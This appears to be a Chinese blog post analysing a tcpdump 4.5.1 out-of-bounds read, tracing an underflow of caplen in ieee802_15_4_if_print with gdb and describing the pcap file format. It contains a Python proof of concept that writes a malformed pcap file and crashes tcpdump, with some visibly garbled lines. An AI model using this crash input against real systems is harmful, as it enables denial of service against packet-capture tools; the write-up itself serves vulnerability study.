美文网首页
tcpdump 4.5.1 crash 漏洞

tcpdump 4.5.1 crash 漏洞

作者: fantasy_learner | 来源:发表于2019-10-04 21:39 被阅读0次
    • 漏洞描述

      • tcpdump 4.5.1 越界读漏洞 , 原因在于没有检测 caplen 的长度是否小于数据包的包头.
    • 漏洞影响范围

      • tcpdump < 4.7.0
      • 修复措施
        • hex_and_ascii_print_with_offset 增加的对 caplen 合理性的检测,检测输出的长度是否大于数据包的总长度
        • libpcap 增加了对 pcap_next_packet 增加了对数据包 caplen大小 的检测 , 检测是否 > 0x40000
    • 实验环境

      • ubuntu16.04 x86_64

        • tcpdump version 4.5.1

        • libpcap version 1.7.4

      • gdb with pwndbg , peda

      • 有源码,编译后带调试信息

    • poc

      • from time import sleep
        def crash():
         command = 'tcpdump -r crash'
         buffer     =   '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
         buffer     +=  '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
         buffer     +=  '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
         buffer     +=  '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
         buffer     +=  "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
         buffer     +=  "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
         buffer     +=  '\x00\x00\x00\x00\x01\x03\x03\x04'
         with open('crash', 'w+b') as file:
         file.write(buffer)
         try:
         call(split(command))
         print("Exploit successful!             ")
         except:
         print("Error: Something has gone wrong!")
        def main():
         print("Author:   David Silveiro                           ")
         print("   tcpdump version 4.5.1 Access Violation Crash    ")
         sleep(2)
         crash()
        if __name__ == "__main__":
         main()```
        
        
    • 漏洞分析

      • 运行后漏洞定位 , 越界读

        • 1569742898375.png
        • 0x40cd97 <hex_and_ascii_print_with_offset+103> movzx ebx, BYTE PTR [r12-0x1]

        • r12 : 0x845001 ,r12 - 1 刚好越界

        • 1569743032344.png
      • bt 回溯 查看调用代码位置

        • 1569743115095.png
      • 关键参数

        • 决定输出循环终止 | nshort = length / sizeof(u_short)

          • length 在函数调用时传入 length=0xfffffff3
        • 根据 bt 发现由 ieee802_15_4_if_print 调用 ,

          • 180行 ,caplen 为 length 参数 , 由 hex_and_ascii_print 函数中转 [图片上传失败...(image-d89e5c-1570194657331)]
        • caplen 由 数据包结构体的 caplen项 转变

          • u_int ieee802_15_4_if_print(struct netdissect_options *ndo, const struct pcap_pkthdr *h, const u_char *p)

          • 变化过程

            • 目的 : 将 p 调整至数据包内容的开始 ,同时 caplen 减去数据包头的长度

            • h # 数据包

              • 1569776934738.png
              • 1569743335276.png
            • caplen = h->caplen # 0x8

            • if caplen >= 3

              • caplen -= 3 # 0x5
            • caplen -= hdrlen # 0xfffffff3 # -0xd

              • p=0x8245b0 "@\377"

              • fc = EXTRACT_LE_16BITS(p);

              • hdrlen = extract_header_length(fc);

              • // hdrlen = 0x12

      • 所以此处漏洞成因是没有检测 caplen 的长度大小是否小于 数据包头结构体的长度 (0x15)

    • 参考链接

      • k0shl 分析思路

        • 介绍 越界读 导致的 crash . 对 数据包 的长度没有严格控制,导致连续读取到一定长度后会读取到无效的内存空间,从而导致拒绝服务的发生

        • 调试

          • poc 生成导致 crash 的 pcap包

          • gdb 调试 -r 参数打开 crash 数据包 , 到达崩溃位置

            • run -r crash | gdb 带参运行
          • 0x8001e612: movzx edi,BYTE PTR [edi+esi*2+0x1] 确定了越界读发生的位置

          • bt 回溯调用情况

          • 看整个运行过程 , 和崩溃位置前的程序输出

        • 分析

        • pcap文件包的结构 关键结构体

          • 文件头

            • magic int32 # magic number 标识符

            • u_short version_majar # 主版本号

            • u_short version_minor # 次版本号

            • bpf_int32 thiszone # 时区修正

            • bpf_u_int32 sigfigs # 精确时间戳

            • bpf_u_int32 snaplen # 每个数据包保存的最大长度

            • tcpdump -s 0 就是设置这个参数 , 缺省为 68

            • linktype: # 链路层类型:32位, 数据包的链路层包头决定了链路层的类型。

          • 数据包

            • struct timeval ts # 详细时间戳

            • bpf_u_int32 caplen # 保存的包长度

            • bpf_u_int32 len # 数据包真实长度

          • 时间戳 timeval

            • long tv_sec # 秒数

            • suseconds_t tv_usec # 微秒

          • 标记关注的重点 数据包的caplen

        • 分析漏洞触发流程

          • 根据bt的结果 , 从main函数开始跟进
        • 看到 call 调用跟进

        • 看到标志性输出,分析关键位置在附近

        • 接着跟进动态调用 , 一步步知道发现有循环

        • 发现循环带计数器,将 ida 反编译结果和gdb调试信息对比,分析关键逻辑

          • 做出推测,并根据相应寄存器做出验证
        • 注意点

          • 分析部分 这里需要学习的是配合ida的调试思路,对于没有源码的调试比较有参考价值

          • 看到关键逻辑推测和验证

          • 注意查找关键逻辑的思路,考虑直接从搜索标识性字符串入手,或者根据 bt 的结果,看对应位置是否有函数,一步步反推

    相关文章

      网友评论

          本文标题:tcpdump 4.5.1 crash 漏洞

          本文链接:https://www.haomeiwen.com/subject/yrispctx.html